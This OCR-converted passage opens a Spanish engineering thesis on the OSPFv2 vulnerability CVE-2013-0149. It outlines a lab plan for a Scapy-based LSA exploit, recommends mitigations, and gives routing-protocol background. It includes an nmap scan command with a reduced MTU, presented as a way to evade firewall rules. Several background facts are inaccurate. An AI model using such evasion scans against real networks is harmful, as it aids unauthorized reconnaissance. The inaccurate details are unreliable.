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INTRODUCCION

Las comunicaciones por internet son muy importantes hoy en dia, sin ellas no existiria la sociedad
como la conocemos. Considerando que los seres humanos no podemos estar un dia sin
comunicarnos, es un motivo esencial el transferir, aprender y vivir nuevas experiencias a través de

compartir informacion.

Por naturaleza hemos encontrado atajos o claves que nos muestran informacién esencial
sobresaliendo respecto a otras especies, nosotros asimilamos informacion de manera que desde un
panorama general lo podemos llevar a una perspectiva mas abstracta, experiencias a priori, de
adaptarse al medio y dando a conocer a otros las oportunidades de supervivencia. Asi es como la
informacion ha pasado de ser compleja a ser mas sencilla y por ende sociedades mas complejas

pero con mayor entendimiento de la naturaleza.

Esta investigacion se dio con el fin de implementar una solucién de seguridad a la vulnerabilidad
CVE-2013-0149 (Common Vulnerabilities Exposures) especifica del protocolo de ruteo OSPFv2 a
través de un analisis de impacto, el cual tendra como punto inicial, la divulgacién de datos que
provee la vulnerabilidad. Se propondra una metodologia que tomara a consideracién los estudios y
las practicas basicas de pruebas de caja negra, dirigiendo la explotacion de la vulnerabilidad CVE-
2013-0149 a obtener informacién que no se debe de divulgar. El lector tomara una serie de
decisiones tomando como referencia tedrica/practica el laboratorio, hasta una perspectiva practica
empresarial; al considerar tanto las recomendaciones que se presentan en esta tesis, como las
recomendaciones generales de seguridad en dispositivos de red.

Utilizando los conocimientos adquiridos en la Facultad de Ingenieria, fue como se pudo
visualizar el potencial y los posibles dafios de esta vulnerabilidad, las metodologias de andlisis de
vulnerabilidades y los procedimientos de seguridad que se tienen en la configuraciéon de los
dispositivos de red por defecto fueron determinantes, ya que pocas empresas cuentan con un
protocolo de seguridad en las que se siga un procedimiento de configuracién de dispositivos. Como
recomendaciones finales, se propondra tomar en cuenta un departamento de investigacion de
seguridad de la informacién especializado, con distintos equipos de trabajo que cuenten con una
tarea especifica para resolver dificultades tecnoldgicas.



Vulnerabilidad en el protocolo OSPFv2

Existen departamentos de tecnologias de la informacién en empresas que se encuentran en
actualizacion constante, por ello, en este documento se proponen recomendaciones de seguridad

apegados a ciertos estandares.

La tesis llevaréd al lector a contemplar conclusiones técnicas de andlisis de vulnerabilidades de
seguridad de la informacion, debido a que este documento se puede tomar como referencia para
mitigar, planear y considerar las posibles pérdidas econémicas y de configuracion del problema en el
protocolo, teniendo como base la referencia, los tres pilares de la seguridad “Integridad,
Disponibilidad y la Confidencialidad”.

Como propuesta practica, se utilizé una herramienta virtual denominada SCAPY. Es una
herramienta escrita en lenguaje de programacion Python, que genera y manipula paquetes de datos
enviados por red.

La vulnerabilidad encontrada es especifica de las LSA (Actualizacion de Estados Enlace), las cuales
son listas de datos que se almacenan en el protocolo OSPFv2 y OSPFv3, el protocolo en si, tiene
una falla reportada por investigadores especializados en seguridad de la informacién. El programa
gue se creg, utiliza bibliotecas escritas con distintos propdsitos, uno de ellos es elaborar paquetes de
datos y enviar informacion a los dispositivos vecinos configurados con el protocolo OSPFv2.
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El procedimiento de la explotacion de la vulnerabilidad se implementé desde una méaquina virtual
con el sistema operativo Debian 6.0, el cual se conect6 a la infraestructura de red virtual
elaborada con la herramienta GNS3. Una vez obtenidos los resultados de la solicitud generados
por el programa elaborado, los campos de datos que regreso el protocolo se hizo pasar por un
procedimiento de parsing®, se utilizaron herramientas como TCPDUMP la cual es de cédigo libre
gue visualiza los datos enviados y recibidos, para después procesarlos y obtener la informacién
deseada en un formato limpio y visible para cualquiera. Todos los datos tanto enviados como
recibidos, se analizaron mediante herramientas propias del sistema operativo GNU/Linux Debian
6.0, mediante editores de texto VIM, lenguajes de scripting como BASH y de herramientas como
SED y AWK para darle un formato propio al momento de generar el reporte de datos.

Para terminar el analisis de la vulnerabilidad, se proponen mejoras en el procedimiento de
configuracion del protocolo OSPFv2, mitigando el problema de la divulgacion de informacion y
posibles inyecciones de rutas no autorizadas.

! Parsing: Proviene del adjetivo parsable, es un verbo utilizado parareferirse a andlisis minucioso de un objeto, en un sentido profundo. (2015, 01). parsing.
http://dictionary.reference.comvbrowse/parsing. Recuperado el 12 de Agosto del 2015.
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OBJETIVO

La contribucién que se quiere lograr con éste trabajo de investigacion y prueba de concepto de la
vulnerabilidad del protocolo OSPFv2 CVE-2013-0149, es dar a conocer a los interesados en la
seguridad de la informacién, del deber de implementar una configuracion del protocolo utilizando
procedimientos de seguridad probados, considerando las buenas practicas para el manejo de
incidentes y como se pueden detectar vulnerabilidades de seguridad desde una perspectiva de una
constante preparacion y actualizacion en las tecnologias de la informacién. Es responsabilidad del
implementador de la solucién tecnolédgica, el estar a la vanguardia en actualizaciones, en la
correccion de errores y en la accién de mitigar las vulnerabilidades encontradas de los sistemas

encargados.

Mucha de la informacién que se maneja actualmente es sensible, por lo tanto es importante
considerar los dafios econémicos por descuidos del implementador, el no tomarlos a consideracion

podria llevar los errores a pérdidas econémicas importantes.
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METODO

La vulnerabilidad del protocolo OSPFv2 se mostrard a través un script hecho en Python, el cual,
inyectara informacion no valida (paquetes de notificaciones de enlace LSA), utilizando datos que se
obtuvieron a través del analisis del protocolo OSPFv2 basandose en el tipo de comunicacion. Se
utilizé un exploit® elaborado con el propésito de demostrar y divulgar informacién, dentro de un
ambiente controlado. A través de este andlisis, se generd un reporte técnico indicando el método de

como se exploto la vulnerabilidad y que alcance tuvo.

La importancia de esta vulnerabilidad se encuentra en funcion de los datos que manejan estos
dispositivos, informacién que puede ser expuesta a usuarios maliciosos y que puedan utilizarla con
otros objetivos, encontrando datos de configuracion de la red, inyeccion de un nuevo segmento de
red, el modificar las configuraciones que se encuentran actualizadas, afectando a la infraestructura y

provocando problemas graves.

Este trabajo se baso en inferencias técnicas, investigacion de la vulnerabilidad y de implementacién
de metodologias de Pentest, para la busqueda de la vulnerabilidad, fue con el propésito de resolver
problemas de seguridad de la informacion a partir de una falla de configuracién. Durante la
elaboracion del laboratorio y del uso de las herramientas de monitoreo, se obtuvo informacion de la
documentacion del framework SCAPY, y de su funcionamiento, con el cual se pudo entender la
diferencia de que activos proteger, con el fin de generar propuestas para mitigar éstos problemas de
la manera mas simple y rdpida para los administradores asignados a la configuracion de los
dispositivos que utilicen el protocolo OSPF.

2 Exploit: proviene del sustantivo explotabilidad, hace referencia alograr un cometido préactico. Recuperado 12 de agosto de 2015, de
http://dictionary .reference.com/browse/exploit.
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Capitulo 1. Historia de las comunicaciones por red

La comunicacion a través de las redes de computo tuvo un auge con la invencién del internet,
el proyecto ARPANET? perteneciente al Departamento de Defensa de los Estados Unidos, el cual
fue su iniciador utiliz6 pequefias cantidades de datos, la cual pudo enviar para que fuera interpretada
y procesada por las computadoras que existian en los afios 50s. Lo que inici6 como un proyecto
militar, culminé como uno de los mas grandes inventos realizados por la humanidad, el internet. En
aguellos afos, los Estados Unidos, tomaron a consideracién invertir en este tipo de tecnologias para
comunicarse a través de una gran distancia de manera “rapida y segura”’ utilizando sus propios

protocolos de comunicacion.

La invencion de Internet fue con el propdésito de transmitir informacion en grandes distancias,
haciendo uso de estandares de comunicaciones, se pudo establecer una base para que la poblacién
se comunicara de una manera rapida. Fue asi como se empezaron a dar los protocolos mediante
desarrollo cientifico impulsado por la necesidad militar de los gobiernos, elaborando mejores rutas y
algoritmos para ese proposito. La IEEE por sus siglas en Inglés (Institute of Electrical and Electronics
Engineers) fue una de las empresas encargadas de dar a conocer algunos de los protocolos que se
citan en esta tesis, al igual que CISCO, la IEEE desarroll6 sus propios protocolos y los RFC (Request
for Comments), dandolos a conocer a la comunidad, haciendo que internet fuera un medio de
comunicaciéon donde conviven varios protocolos con diversos propositos y uno de ellos es el

transferir datos eficientemente.

? Red de Agencia de Proyectos de Investigacion Avanzada, ARPANET. Recuperado en Abril 4, 2015, de http://mwww.computer hope.com/jargon/a/ar panet.htm
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1.2.1 Fases

Se proponen las siguientes fases para entender y explotar la vulnerabilidad:

Fases de analisis.

- Escaneo y reconocimiento de la vulnerabilidad LSA (uso de herramientas automatizadas).
- Funcionamiento de las notificaciones del estado de enlace (LSA).
- Funcionamiento del protocolo OSPFv2 (envio de mensajes Hello).

Fase de Desarrollo

- Conocimiento de las bibliotecas para enviar el mensaje Hello prueba.

- Utilizacion de las bibliotecas en un programa prueba.

- Implementacion del algoritmo en un programa que explote a la vulnerabilidad.
- Programa prueba.

- Resultados preliminares.

- Programa definitivo.

- Elaboracion del reporte con los resultados.

En la fase de analisis para comenzar el ataque, se utilizaron herramientas que hacen “pruebas de

nd

caja negra” a los Routers. Se implementd el framework SCAPY para atacar a la vulnerabilidad del

protocolo al divulgar la informacion de la tabla de ruteo.

El utilizar el programa SCAPY para elaborar los paquetes especificos mostré el problema del
protocolo, como se formé y decodificé el paquete prueba, ya que el framework cuenta con un gran
namero de protocolos de comunicacién en sus bibliotecas. Por lo tanto, enviarlos, capturarlos y crear

solicitudes y réplicas de paquetes prueba fue relativamente sencillo. SCAPY es un framework para

4 ; - . . . - . . - )
Las pruebas de cagja negra, es un andlisis que se implementa a los sistemas de informacion, en €l cual se evallian las potenciales vulnerabilidades a partir de
herramientas automatizadas o manuales, sin haber conocido informacion alguna del sistemaa evaluar.
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realizar pruebas en protocolos de redes y comunicaciones, ya que existen varias pruebas en linea y
utiliza el lenguaje de programacién Python para su implementacion. El framework Scapy puede
utilizarse en conjunto con programas como hping, nmap, arpspoof, arp-sk, arping,
tcpdump, ethereal, pof etc, con el propésito de estudiar los datagramas que se envian en las
redes de coOmputo.

Una de las tantas ventajas de utilizar este programa es la modificacibn que se puede
implementar en funcién de la necesidad del programador. En esta tesis se estudio la elaboracién del
codigo para formar paquetes OSPF (completos) y también paquetes tipo HELLO (parciales), ya que
la naturalidad de la vulnerabilidad se basé en investigaciones previas la formacion de paquetes.

La suite de desarrollo SCAPY necesita las siguientes versiones de Python:
» Laversion de SCAPY < 2.x necesita versiones de Python 2.4 o versiones superiores.
» Laversion de SCAPY >= a 2.x necesita versiones de Python 2.5 o versiones superiores.

El desarrollo del cddigo se basé de la investigacion de los miembros del Instituto de Tecnologia de
Israel, Alex Kirshon, Dima Gonikman y el Dr. Gabi Nakibly, ellos demostraron en la conferencia de
seguridad BLACKHAT del afio 2011, el funcionamiento de la vulnerabilidad CVE-2013-0149.

A partir de dicha demostracion, se buscd el medio para replicarla. Utilizando libros como
“Interconectividad de redes TCP/IP Disefio e Implementacion”, del segundo libro de la curricula de
cisco CCNAvV5 (Conceptos y Protocolos de Enrutamiento) y de resultados de analisis al protocolo
OSPF, que se hicieron pruebas de mensajes tipo HELLO se dio el desarrollo de pequefios
programas prueba con el lenguaje de programacion Python, fue asi como se generé el cédigo para
divulgar la informacion de las tablas de ruteo de la configuracion virtual que se demostrara en esta

tesis.

El uso de la suite de desarrollo SCAPY fue debido a que cuenta con bibliotecas para elaborar
datagramas con informacion para aplicarla al protocolo que sea, es verséatil y facil de utilizar, con sus

debidas restricciones.
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1.2.2 Protocolos de Ruteo

Un protocolo es una esquematizacion estructurada de informacion, que se realiza con el fin de
proporcionar detalles plasmados en un escrito de una investigacion o experimento. En éste caso el
protocolo OSPF fue tomado de una referencia principal de documentos de CISCO y publicaciones
del RFC 2328y 2178, que abarcan la versiéon 2 y version 3 respectivamente.

El protocolo OSPFv2 es utilizado por varias compafiias, entre ellas se encuentran las siguientes:

e Juniper
« CISCO
« XEROX

Para la marca CISCO se utilizan los siguientes protocolos de comunicacion:

* RIPv1ly RIPv2 ( Route Internet Protocol )
« EIGRP

 BGP ( Border Gateway Protocol )

* OSPFv2yV3

Otras marcas, como XEROX han aportado sus conocimientos al desarrollo de algunos de dichos
protocolos, debido a que ellos tenian un grupo de investigadores para desarrollar tecnologias de este
tipo alrededor de los afios 70, el cual fue tan importante que empresas tecnolégicas conocidas

actualmente y fueron herederas de los avances en telecomunicaciones de esas investigaciones.

La fabricacién de las tecnologias de comunicacion se deben a matematicos, fisicos e
ingenieros y los protocolos generados con esas investigaciones utilizaron algoritmos desarrollados
con diversos propésitos, uno de ellos fue transmitir la informacion de una manera mas eficaz y

eficiente.
Algunos algoritmos de comunicacion son:

* Dijistra.
* Round Robin (se ocupa en algunos sistemas operativos como UNIX y GNU/Linux ).
- Shortest-Path-First (que también se ocupan algoritmos de inteligencia artificial).
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1.2.3 Protocolos de Ruteo Cisco

Debido a su gran portabilidad y conectividad, los protocolos de comunicacién son utilizados
por empresas dedicadas a la conectividad, ya que colaboran con proveedores de servicios que
tienen establecidos estandares de comunicaciones, por ejemplo: para el protocolo de ruteo EIGRP,
se conoce, que, a pesar de pertenecer a la marca CISCO, tiene caracteristicas para relacionarse
facilmente con otros protocolos, por lo tanto, es utilizado en servicios que tienen diferentes o iguales
caracteristicas como la métrica o resolucion de datagramas, la cual se acopla al nuevo protocolo, y
mantiene la continuidad del ambiente conectado. El mantener el negocio de las comunicaciones y la
conectividad entre ellas, debe ser de alto nivel, donde el consumidor sea el mas beneficiado ya que
debe de ser prioridad para cualquier compairiia brindar un producto atractivo al cliente.

1.2.4 Topologias
Existen diversos tipos de topologias, dependiendo de las necesidades del negocio. Por lo
tanto aqui se muestran las mas conocidas en el campo de las redes computacionales.
1) Topologia de Bus.

Las estaciones de trabajo son conectadas a un cable principal, denominado bus, por el cual
estan conectadas las estaciones de trabajo directamente. (véase la imagen 1.1)

Imagen 1.1 Topologia Bus

13
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2) Topologia Anillo.

Las estaciones de trabajo son conectadas en una configuracion de ciclo o cerrada.(véase la

imagen 1.2)
k“ ! - Anillo

| b e——

Yoo principal

Anillo ="
secundario [[j
Lot

Imagen 1.2 Topologia Anillo

3) Topologia en Estrella.

En la topologia estrella todos los componentes de la red estdn conectados a un dispositivo

central denominado “HUB”, el cual puede ser un dispositivo Switch, Router o un Hub. (véase
la imagen 1.3)
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Imagen 1.3 Topologia Estrella

4) Topologia Jerarquica.(véase imagen 1.4)

Imagen 1.4 Topologia Jerdrquica
5) Topologia en malla.(véase imagen 1.5)
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G

Imagen 1.5 Topologia en malla
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1.2.5 Red de computadoras

Una red de computadoras interactia con elementos fisicos y l6gicos; siendo el intermediario y el
medio por el cual existe el intercambio de informacién. Son conformadas principalmente por una

topologia.

También pueden catalogarse de acuerdo a la forma en que viaja la informacién a través de ellas, ya
gue, dependiendo del tamafio de los paquetes que se envian, puede o no, implicar una configuracion

l6gica o fisica diferente. Por ejemplo:

Una red que envia paguetes de datos equivalentes con una unidad maxima de transferencia que
difiere de la capacidad soportada por el receptor debido a un filtro, requiere de una configuracién en
el envio de paquetes. Maodificando la cantidad méaxima enviada y por lo tanto cambiando la forma en
gue un protocolo interactia con dicho paquete, o el firewall que interfiere en la recepcion de dicho
paquete.
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Comando que escanea la red con una unidad de transferencia maxima (mtu)® de 24, haciendo uso
del pardmetro que modifica el envio de paquetes a 24 bytes y que puede evadir las reglas de un
firewall.

# nmap -sS -sV --mtu=24 -p 80 192.168.0.1

1.2.6 Seguridad de la Informacion

“La seguridad de la informacién involucra la proteccién de la organizacién ante la falta de un
correcto funcionamiento operacional, lo cual también implica proteger la informacién y sistemas de

informacion ante el acceso no autorizado™.

Para establecer una perspectiva de seguridad dentro de una empresa, se necesitan varios
parametros. Uno de ellos es establecer el enfoque al cual se le implementara una solucion, una

respuesta ante un problema de negocio.

La seguridad de la informacion varia de en funcién del sistema al que se le haya implementado, y
una vez implementado en dicho sistema, se tendra que estar actualizando y revisando debido a que
los sistemas de informacién cambian radicalmente de un dia para otro, lo cual podria llevar a la
tecnologia funcional actual, en una vulnerabilidad potencial que podria dafiar a sistemas conectados,
por ejemplo, los sistemas bancarios que utilizan sistemas operativos Windows XP, sabiendo que ya

no se le da soporte actualmente.

> MTU Maximum Transmission Unit esta definido 1500 bytes para transferencia a través de Ethernet, algunas topol ogias soportan MTUs més grandes, para Nmap,
debe definirse en maltiplos de 8.

® Definicion tomada del libro Computer and Information Security Handbook (2009)
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1.2.7 Seguridad Fisica

La seguridad fisica hace referencia a asegurar el perimetro de los activos fisicos, definir quien
tiene el permiso de acceder al lugar donde se encuentran los servidores, definir la localidad de la
construccion etc., lo cual implica un ambiente y los diferentes permisos o politicas que se le puedan

aplicar.

Al definir los accesos, estos abarcan de todo tipo, por ejemplo los proveedores de servicio, siempre
deben de ser escoltados por el personal que maneja las bitacoras de acceso, la cual debe de ser
revisada por el personal encargado de aprobar el acceso o prohibirlo.

La seguridad fisica depende también del nivel de seguridad que se desea darle a los activos, el
disefio puede incluir proteccién perimetral extra. El ser consciente de que la seguridad fisica es un
papel demasiado importante para mantener la continuidad del negocio para cualquier empresa lo
cual es un factor que no debe tomarse a la ligera.

En esta tesis se recomienda que la seguridad fisica a los dispositivos que proveen la conectividad en
la red como los Routers que manejan el protocolo OSPF, sigan las siguientes etapas:

1. Nadie puede acceder a los dispositivos sin tener la autorizacién previa.

2. Tener programadas subrutinas que almacenen la bitAcora de cada cambio que se implemente
en el dispositivo.

3. Los Routers deben de contar con contrasefias de acceso, en modo ingreso (login), para
prevenir el acceso inicial y también en modo privilegio para prevenir cambios en la
configuracion.

4. Deben de estar conectados a fuentes de alimentacidn disefiadas para que provean corriente
eléctrica constante y que se mantenga en constante funcionamiento.

5. Haber pasado por pruebas fisicas a través de un BCP’ o DRP®.

" BCP : Bussiness Continuity Plannign, es el proceso donde se mantienen o se recuperan |as operaciones, incluyendo servicios a clientes después de algin desastre, lo
cual protege lamision del servicio, que es proveer a sus clientes a pesar de cualquier improvisto.

8 DRP : Son planes técnicos que son especificos para ciertos grupos, el DRP tipico dentro de una organizacion de Tl es: “Si perdemos nuestros servicios, ¢Cémo los
recuperamos?’.
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1.2.8 RIP

RIP es un protocolo tipo vector distancia (cita), fue disefiado para ser utilizado en redes
pequefias; a través del tiempo se ha estado mejorando debido a que es uno de los protocolos mas
sofisticados que se hayan elaborado.

RIP se bas6 en un protocolo disefiado por XEROX llamado Gateway Information Protocol (GWINFO)
a finales de los afios 70’s, se utilizé en el sistema de la Universidad de Berkeley (BSD) como un
demonio (proceso oculto) denominado routed y fue asi como gano popularidad en los sistemas
UNIX.

Otras compafias elaboraron su propia version de RIP debido a su gran utilidad, es por ello que se
decidi6 elaborar un estdndar para que los diferentes sistemas computacionales pudieran

comunicarse sin tener conflicto entre protocolos.

A pesar de que son muy parecidas la versién 1y 2 tienen sus propias caracteristicas.

1.2.9 Versiones

Para el protocolo RIP existen 2 versiones diferentes, las cuales pueden utilizarse dependiendo
de la solucion que se quiera implementar. En esta tesis se presentan dos esquemas los cuales son

los mas utilizados en sistemas de produccion.
Esquema 1 para RIP v1:

Este esquema es mas utilizado para redes pequefias, cuyas direcciones IP sean estaticas y

gue sean administradas por personal autorizado.
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Tabla 1.

Direcciones IP estdticas.

Direcciéon IP Clase B NUmero de maquinas
192.149.0.0 0
192.148.0.1 1
192.148.0.2 2
192.148.0.10 10

Descripcién de direcciones | P asignadas a equi pos especificos
Esquema 2 para RIP v2:

Las redes que cuentan con subredes, generalmente son utilizadas en empresas que tienen
diferentes departamentos en donde recursos informaticos parecidos, cabe destacar, que muchas
veces también pueden ser discernidas de las otras a través de la implementacién de VLANS®.

Direcciéon IP Clase Hosts
192.168.0.1 C 18

Esta version soporta VLSM siendo atil para que los paquetes sean enviados a las subredes
conectadas.

° VLANs: Son estaciones de trabajo |as cual es estan separadas por segmentos de funcionalidad o aplicacion, tienen los mismos atributos que una LAN (Red de Area
Local), con laventaja de que no necesitan estar conectadas fisicamente. “(2016, 01). Configuring VLANSs. Obtenido el 01, 2016, de http://www.cisco.com”
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1.2.10 RIPv1

* Es un protocolo de enrutamiento con clase.

e Actualiza el estado de su conexion cada 30 segundos.

» Cada actualizacién que se produce en el protocolo envia la tabla de ruteo en funcion de
su periodo.

» Utiliza los saltos como métrica.

» Utiliza el algoritmo Bellman-Ford que determina el mejor camino de la informacién a su
destino.

» Admite el horizonte dividido.

» Es capaz de admitir un balanceo de carga de hasta de seis rutas del mismo costo.
Tiene un valor predeterminado de aceptar hasta 4 rutas con el mismo costo.

Al hacer referencia como un protocolo de enrutamiento o encaminamiento con clase, se toma a
consideracion que puede encaminar los paquetes en funcién del tipo direccion IP a la que se

encuentre asociada.
Tabla 2.

Clases de Direcciones IP.

Clase A 1-126 (©00000O1-01111110)*
Clase B 128-191 (10000000-10111111)
Clase C 192-223 (11000000-11011111)
Clase D 224-239 (11100000-11101111)
Clase E 240-255 (11110000-11111111)

Clasificacion de clases y la cantidad de direcciones asignables
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1.2.11 RIPv2

La version 2 fue propuesta para establecer mejoras que observaron los disefiadores del

protocolo de la versién anterior.
Introdujo las siguientes mejoras al RIPv1:

* Incluye una mascara de subred para las actualizaciones del enrutamiento, haciéndolo un
protocolo de enrutamiento sin clase.

« Tiene un mecanismo de autenticacion, afiadiendo seguridad a la actualizacion en las tablas de
enrutamiento.

* Admite una mascara de subred de longitud variable (VLSM).

» Utiliza direcciones Multicast en vez de Broadcast.

« Admite un resumen manual de ruta.

1.2.12 EIGRP

Enhanced IGRP (IGRP mejorado) el cuél se desarrollé a partir del IGRP. Es otro protocolo de
enrutamiento por vector distancia, sin clase, el cual tiene caracteristicas muy parecidas a las de los

protocolos de estado enlace.

A diferencia del protocolo RIP, OSPF, el EIGRP es un protocolo patentado desarrollado por
CISCO y solamente se ejecuta en dispositivos de Ruteo CISCO.

Algunas de las caracteristicas principales del protocolo son:

» Actualizaciones aleatorias ( no tiene actualizaciones periodicas).

» Utilizacion de una tabla de topologia que ayuda a mantener las tablas de los vecinos, no
solamente las mejores rutas.

e Utiliza un protocolo de saludo, el cual le ayuda a establecer adyacencia con los Routers
vecinos.

» Admite mascaras de subred de longitud variable (VLSM) y resumen manual de ruta. Lo cual le

facilita crear estructuras jerarquicas de red.
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1.2.13 IS-IS

Fue disefiado por ISO (Organizacién Internacional para la Estandarizacién), el cual se
describe en el ISO 10589. El protocolo se disefié originalmente para la suite del protocolo de OSI o
modelo OSI y no para el modelo TCP/IP, después de un tiempo el protocolo IS-IS se mejor6 y se
denomind IS-IS integrado o doble e incluyé la compatibilidad con redes IP.

IS-IS fue conocido como el protocolo de enrutamiento mas utilizado por proveedores e ISP,

actualmente se utiliza mas en redes IS-IS corporativas.

1.2.14 BGP

Viene del acrénimo (Border Gateway Protocol) y se utiliza mucho en internet ya que ocupa el
enrutamiento asimétrico, el protocolo funciona de forma en que los paquetes pueden recorrer la red

en un sentido utilizando una ruta y regresando por otra.

Se elaboré en 1995 y existe una version denominada BGPv6 para las redes con direcciones
IPv6, es un protocolo de vector de ruta y puede utilizar diversos atributos para medir las rutas,
también es un protocolo de enrutamiento sin clase ya que incluye mascara de subred con la
direccion de red en sus actualizaciones de enrutamiento. La informacién que viaja por el protocolo

puede cifrarse y autenticarse, aumentando la seguridad de las tablas de ruteo.

1.2.15 OSPFv1

Fue creado en 1989 y se publico en el RFC 1131, habiendo dos implementaciones
desarrolladas, una para ejecutar Routers y otra para estaciones de trabajo UNIX. La versiéon 1 del
protocolo OSPF fue un protocolo de enrutamiento experimental y debido a ello nunca fue

implementado.

Existian dos versiones escritas del protocolo OSPFv1 una fue escrita para que pudiera ejecutarse en
Routers de la marca Proteon, la otra version fue escrita por Rob Coltun con el objetivo de que
pudiese correr en workstations con UNIX.

Tuvo varios problemas desde sus primeras implementaciones, por ejemplo:
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* No podia borrar la informacion que se encontraba dentro del sistema (se saturaba de
informacion de las actualizaciones LSA no utilizable).

« También se encontraron puntos de especificacion en el protocolo donde no se definia
completamente detalles de como el Router ocupaba la tabla de ruteo o como escogia la mejor
ruta destino hacia una direccion IP.

1.2.16 OSPFv2
En 1991 fue creado por John Moy en el RFC 1247, el protocolo ofrecia mejoras técnicas respecto

a la primera version. La organizacion IETF eligi6 como su protocolo IGP (Interior Gateway
Protocol) recomendado.

En 1998 hubo una actualizacién en el protocolo actualizandolo en el RFC 2328.

1.2.17 Encapsulamiento de mensajes OSPF

El andlisis de trafico de paquetes se da a partir de las capas del modelo OSI y TCP:(véase
imagen 1.6)

Modelo OSI Modelo TCP/IP

7. Aplicacion j

P e Capas PR
0. resentacion de aplicacién plicacién
5. Sesion
4. Transporte Transporte
3. Red Capas Internet

del flujo de
2. Enlace de datos e .
de red

1. Fisica B

1.6 Modelo_OSI_y_modelo_TCP-IP-2
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Las capas muestran, como el andlisis puede ser ascendente o descendente, dependiendo de lo
gue se quiera, en éste caso OSPF se basa en éstas capas para encapsular sus paquetes de la

siguiente manera:

Encabezado de la Encabezado de Encabezado del Datos del tipo
trama de enlace paguetes IP paquete OSPF especifico del
de datos paquete OSPF

Trama de enlace de datos (aqui se muestran los campos Ethernet)
Direccion MAC origen = Direccion de la interfaz fisica de envio.
Direccion MAC destino = Multicast 01-00-5E-00-00-05

Multicast 01-00-5E-00-00-06

Paquete IP
Direccion IP origen = Direccion de interfaz de envio
Direccion IP destino = Multicast 224.0.0.5

Multicast 224.0.0.6
Campo del protocolo = 89 para OSPF

Encabezado del paquete de OSPF
Caddigo OSPF
ID del Router del area

Tipos de paguetes OSPF
0x01 -> Saludo
0x02 -> Descripcion de base de datos (DD)

0x03 -> Solicitud del estado enlace
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0x04 -> Actualizaciéon del estado enlace
0x05 -> Acuse de recibo del estado enlace

El proceso de envio de un paquete de datos a través de la red depende del protocolo que se este
utilizando, ya que cada protocolo tiene su forma de fragmentar y ensamblar los paquetes que
fluyen a través de las capas de red, por ejemplo: Si se tiene un protocolo que corra a través de la
capa de red, solamente se fragmentara para los servicios de esa capa, sin tener que elaborar un

paquete para las demas capas, como la de presentacion o la de aplicacion.

1.2.18 IGRP

Es un protocolo de enrutamiento tipo vector distancia desarrollado por Cisco, esta sin utilizarse
desde la version 12.2 del sistema operativo 10S y versiones posteriores.

Las caracteristicas principales de éste protocolo son:

« Se considera el ancho de banda, el retardo, la carga y la confiabilidad para crear una
métrica compuesta.

» Se envia a través de Broadcast las actualizaciones de enrutamiento cada 90 segundos.

1.2.19 Métricas

Para medir la métrica el protocolo utiliza los siguientes parametros:

« Ancho de banda.

+ Retardo.
+ Confiabilidad.
 Carga.

La mejor ruta se elige segun la ruta con el valor métrica mas bajo calculado a partir de los

parametros anteriores, por defecto solamente se utilizan el ancho de banda y el retardo.
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La medicion de la métrica es distinta entre cada protocolo.

Para el protocolo RIP la métrica se mide a partir de la cantidad de saltos que se tienen que
dar para que la informacién pase al siguiente dispositivo (por defecto la métrica es 1).

1.2.20 Aplicaciones de los protocolos de comunicacion

Las aplicaciones mas comunes estan en la homologacion'® de estandares de los
protocolos, ya que sin la estandarizacién no se hubieran podido limar las diferencias entre
protocolos y no hubiera habido aplicaciones complejas.

Ejemplos de algunas aplicaciones:

e Laweb

* Latelefonia

e Las videoconferencias
e Los juegos de video

» Comercio via internet
» Educacién

« Comunicacioén satelital

Son los ejemplos mas comunes en los que esta inmiscuida nuestra tecnologia de comunicacion,
sin los protocolos no se hubieran podido lograr, ya que mayoritariamente son una combinacion de

tecnologias, lenguajes de programacion, disefio de los sistemas operativos y hardware.

La web por ejemplo se basa en muchos tipos de protocolos en los que interactian hardware y

software.
Ejemplos:

Wi-MAX : Es un protocolo de internet utilizado en areas extensas, donde la conectividad a
internet es comunmente publica, es utilizado en areas grandes en las cuales la seguridad es

considerada a partir del servicio que se quiera dar. Siendo una aplicaciébn que necesita mucha

1% Homol ogacion : Esun verbo el cual significa, aprobacion o confirmacion oficial, siendo un proceso para certificar o aprobar un producto, indicando que el producto
esta bajo un régimen regulado, siguiendo estandares y especificaciones. “ SearchClO,. "What |s Homologation? — Definicion tomada de Whatis.Com". N.p., 2016. Web.
20 Enero. 2016."
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administracion y combina diferentes tecnologias para dar un servicio a una distribucion de

terreno.
Wi-Fi : Es un protocolo definido en el estdndar 802.11 y 802.11n
Ethernet
Fibra 6ptica

Y es a partir del hardware el ¢Como? se utilizaran los protocolos ya que varian tomando en

cuenta los dispositivos que codifican y decodifican la informacion.

1.2.21 Topologias utilizadas actualmente

Las topologias de red actualmente mas utilizadas son:

« WAN
 MAN
« CAN
« DAN
* LAN

Limitan en algunos casos su desempefio y en otros casos funcionan con un propésito

especifico.

La configuracion de la topologia es variable pero asegura que se puedan entregar los
paquetes de datos a su destino, viéndolo desde la perspectiva de capas, la capa de enlace
(data-link) una vez asegurada la conexion envia los datagramas a sus respectivas rutas

pasando a la capa de red.

1.2.22 Infraestructuras de Red

Son los componentes electrdonicos y digitales de una red, que establecen y preparan la conectividad
en la red, permitiendo interactuar a la tecnologia y a la administracién de la red.



Vulnerabilidad en el protocolo de ruteo OSPFv2

Los componentes que constituyen a la infraestructura de una red pueden ser variados, desde
un simple cable UTP* que conecta a dos computadoras, hasta antenas, el personal que administra
los recursos y los componentes que establecen comunicacion satelital. Los tipos de infraestructuras
de red que tienen las empresas varian de acuerdo a las necesidades y el presupuesto de las

mismas, por lo tanto, algunas caracteristicas son a gran escala respecto de otras.

Existen tipos de infraestructura que podrian denominarse comunes ya que se encuentran como
activos en distintas organizaciones. La infraestructura que se utiliza en varios corporativos cuenta

con los dispositivos necesarios como los siguientes:

1.2.23 Hardware
* Routers
e Switches

» Tarjetas LAN
* Routers inalambricos
e Cables UTP

1.2.24 Routers

Los Routers son dispositivos que son muy parecidos a una computadora convencional debido a los
dispositivos electronicos que lo conforman, contienen en su interior una memoria RAM, una memoria

ROM , un Procesador de Instrucciones y un Sistema Operativo.

También determinan la mejor ruta para que los paquetes de informacion lleguen a su destino
de una manera rapida y se aseguran mediante los protocolos de comunicacién que dicha

informacion llegue completa.

La forma en la que los Routers envian la informacion es a través de algoritmos que utilizan la
informacion que les dan los otros Routers conectados a su red, los mas conocidos son Dijistra y
Shortest Path First. Dichos algoritmos fueron implementados con diversos propdsitos, pero son
realmente productivos al haberse implementado en algunos protocolos de informaciéon que se

mencionardn mas adelante.
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Los Routers que se utilizaron esta tesis fueron los siguientes:

= 4 Routers virtualizados c27000 Modelo: 7200
= |magen: IOS c7200-advipservicesk9-mz150-1M
